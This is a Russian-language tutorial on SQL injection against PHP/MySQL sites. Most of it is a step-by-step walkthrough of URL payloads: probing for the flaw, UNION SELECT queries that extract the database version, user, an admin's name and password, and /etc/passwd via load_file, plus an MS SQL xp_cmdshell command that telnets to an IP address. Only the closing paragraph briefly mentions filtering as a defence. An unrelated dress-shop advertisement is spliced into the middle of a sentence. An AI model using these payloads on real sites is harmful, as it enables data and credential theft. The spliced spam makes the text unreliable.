Львиная доля современных web-приложений использует для хранения больших объемов информации базы данных. Практически все языки программирования, используемые на стороне сервера, поддерживают работу с базами данных, а обеспечивает интерфейс взаимодействия между языком программирования и хранилищем данных система управления базой данных (СУБД), которая осуществляет управление базой на низком уровне.
Наибольшее признание у web-разработчиков получили СУБД MySQL, PostgreSQL, Microsoft SQL. Для обращения к СУБД используется специальный структурированный язык запросов под названием SQL(Structured Query Language).
SQL-injection (SQL-инъекция, вторжение) – это метод получения доступа к данным сервера посредством подмены части определенного SQL-запроса на код злоумышленника.
Смысл данной атаки заключается в нахождении и использовании ошибки разработчика на стыке двух технологий - web и SQL Заказывайте платья от производителя в интернет-магазине ubki-valentina.ru . При обработке данных, приходящих от пользователя, большинство скриптов на основании этих данных формирует запрос к базе, при отсутствии всевозможных проверок и должной защитной фильтрации, очень легко получить доступ к базе подменой ожидаемых данных на код взломщика.
Например, рассмотрим распространенную уязвимость (в связке PHP/MySQL) сайтов недобросовестных разработчиков по шагам. У нас есть рабочий URL:
site.ru/index.php?id=123
Проверим его на наличие фильтрации, подставив в конец кавычку:
site.ru/index.php?id=123’
Сайт с защитной фильтрацией должен выдать ошибку, но если ошибки нет, это не значит, что сайт уязвим, возможно, просто вывод ошибок в браузер запрещен в настройках сервера. Чтобы полностью удостовериться в наличии уязвимости подставим арифметическое выражение:
site.ru/index.php?id=124-1
Если теперь в окне браузера будет выведена страница в таком же виде как
site.ru/index.php?id=123
,значит, выражение было выполнено и сценарий не отфильтровал его – это говорит о том, что уязвимость присутствует.
Теперь необходимо определить из какого поля таблицы выводятся данные в браузер. Для этого вводим такой код:
site.ru/index.php?id=123 +union+select+1,2,3,4,5,6,7,8/*
Если в браузере выведется цифра 5 – значит, выводится значение 5 поля. Воспользуемся этим значением, попробуем выполнить команду и выяснить версию SQL:
site.ru/index.php?id=123 +union+select+1,2,3,4,version(),6,7,8/*
В браузере выведется номер версии SQL. Можно узнать имя пользователя базы данных:
site.ru/index.php?id=123 +union+select+1,2,3,4,user(),6,7,8/*
Выведется имя пользователя базы, например user@localhost. Также легко выясняем имя базы данных такой командой:
site.ru/index.php?id=123 +union+select+1,2,3,4,database(),6,7,8/*
Получим имя базы, например bd_site.
Теперь попробуем получить имя пользователя из таблицы, в которой хранятся данные о пользователях.
Необходимо методом "научного тыка" выяснить имя этой таблицы, предположим users. Пробуем ввести следующий URL:
site.ru/index.php?id=123 +union+select+1,2,3,4,name,6,7,8 +from+users+limit+1,1
Если имя таблицы введено правильно, то в браузере появится имя первого пользователя из таблицы, к примеру, admin. Теперь можно узнать его пароль:
site.ru/index.php?id=123 +union+select+1,2,3,4,password,6,7,8 +from+users+limit+1,1
Через такую дырку в защите можно даже читать файлы с сервера:
site.ru/index.php?id=123 +union+select+1,2,3,4, loаd_filе(/еtc/pаsswd),6,7,8/*
Мы получим содержимое стандартного файла паролей в каталоге /etc, для семейства UNIX-подобных систем.
Все выше перечисленные действия принципиально не отличаются в СУБД MySQL, PostgreSQL и MS SQL Server. Но в MS SQL Server еще проще получить пароли, если упущена должная фильтрация. Исполняя команды на сервере при помощи ехес mаstеr..хp_сmdshеll, можно подключиться к некоторому IP по Telnet'у, вместо пароля или логина вставив:
'; еxеc mаstеr..xp_cmdshеll 'tеlnеt 192.168.0.12' --
Для защиты от подобного типа вторжений необходимо использовать фильтры, предоставляемые производителями СУБД. Необходимо так же разрабатывать свои собственные решения для защиты – самодельные фильтры и проверки, активно используя регулярные выражения (в PHP много интересных функций для работы с ними).